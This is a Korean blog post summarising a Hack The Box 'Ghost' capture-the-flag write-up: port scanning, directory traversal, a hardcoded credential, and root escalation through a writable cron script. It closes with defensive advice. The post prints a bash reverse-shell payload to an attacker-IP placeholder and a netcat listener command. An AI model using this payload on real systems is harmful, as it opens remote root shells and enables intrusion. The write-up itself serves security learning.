Hack The box "Ghost" Challenge Cracked - A Detailed Technical Exploit
- 챌린지 개요 및 공격자 접근 방식
- 해킹 챌린지 Ghost는 기업 시스템을 모방한 환경으로, 웹 서버 및 비표준 포트를 통한 다양한 보안 취약점이 숨겨져 있음
- 보안 연구원 0xdf는 정보 수집부터 권한 상승까지의 전 과정을 문서화하며 익스플로잇 체인을 완성
- 초기 접근: 정보 수집 및 인증 우회
- Nmap 포트 스캔을 통해 웹 서버(port 80) 및 사용자 정의 서비스(port 31337) 확인
- 웹 경로(/ghost/../)에서 디렉터리 트래버설(directory traversal) 취약점 발견
- 입력 검증 부족으로 웹 루트 바깥의 파일 접근 가능
- 설정 파일 내 하드코딩된 자격증명(admin:gh0stP@ss) 노출
- 31337 포트의 TCP 서비스는 인증 기반 명령 수신기 역할
- Python 소켓 스크립트를 통해 인증 및 명령 실행 가능
- 권한 상승: 크론 잡 취약점 이용
- /etc/cron.d/ 경로에 쓰기 권한이 있는 루트 권한 스케줄링 스크립트 존재
- 해당 스크립트에 역쉘(reverse shell) 페이로드 삽입
- bash -i >& /dev/tcp/<공격자 IP>/4444 0>&1
- Netcat 리스너(nc -lvnp 4444)를 통해 루트 셸 획득
- 최종적으로 /root/flag.txt 파일 확보로 과제 완료
- 사용된 주요 도구 및 기법
- Nmap: 포트 및 서비스 탐지
- 소켓 통신: TCP 기반 인증 및 명령 실행
- cron misconfiguration: 루트 권한 작업 자동 실행 취약점
- netcat: 외부 연결 수신 대기 및 셸 반환
- bash 리디렉션: TCP를 통한 셸 전달
- 보안 권고
- 디렉터리 경로 검증 실패는 서버 파일 시스템 전체를 노출할 수 있음
- 자격증명 하드코딩은 외부 침입자에게 초기 접근 권한을 제공함
- cron 작업 스크립트에 대한 과도한 권한 부여는 루트 권한 탈취로 이어질 수 있음
- 공격 체인은 실제 환경에서도 유사하게 적용되므로, 시스템 관리자 입장에서 큰 교훈 제공
- 결론
- Ghost 챌린지는 실제 침투 테스트 환경에 가까운 시나리오 제공
- 취약한 입력 검증, 잘못된 권한 설정, 인증 정보 노출 등이 종합적으로 악용됨
- 보안 관리자 및 개발자는 코드와 시스템 구성에서 기본 보안 수칙을 철저히 준수해야 함
- 침투 테스트 관점에서 본 도전 사례는 학습용 자료로써 큰 가치가 있으며, 보안 인식 제고에 실질적인 도움을 줄 수 있음
'Kant's IT > Issue on IT&Security' 카테고리의 다른 글
안드로이드 스파이웨어, 비밀번호 요구로 삭제 차단하는 신종 기법 등장 (0) | 2025.05.16 |
---|---|
SpotBugs 개인 액세스 토큰 탈취로 인한 GitHub 공급망 공격 발생 (0) | 2025.05.16 |
EncryptHub: 윈도우 취약점을 제보한 이중적 사이버 행위자 분석 (0) | 2025.05.16 |
북한 연계 해커 그룹, npm 패키지를 통해 BeaverTail 악성코드 유포 및 Tropidoor 백도어 배포 (0) | 2025.05.16 |
PyPI 악성 패키지를 통한 민감정보 유출 및 신용카드 테스트 공격 (2) | 2025.05.16 |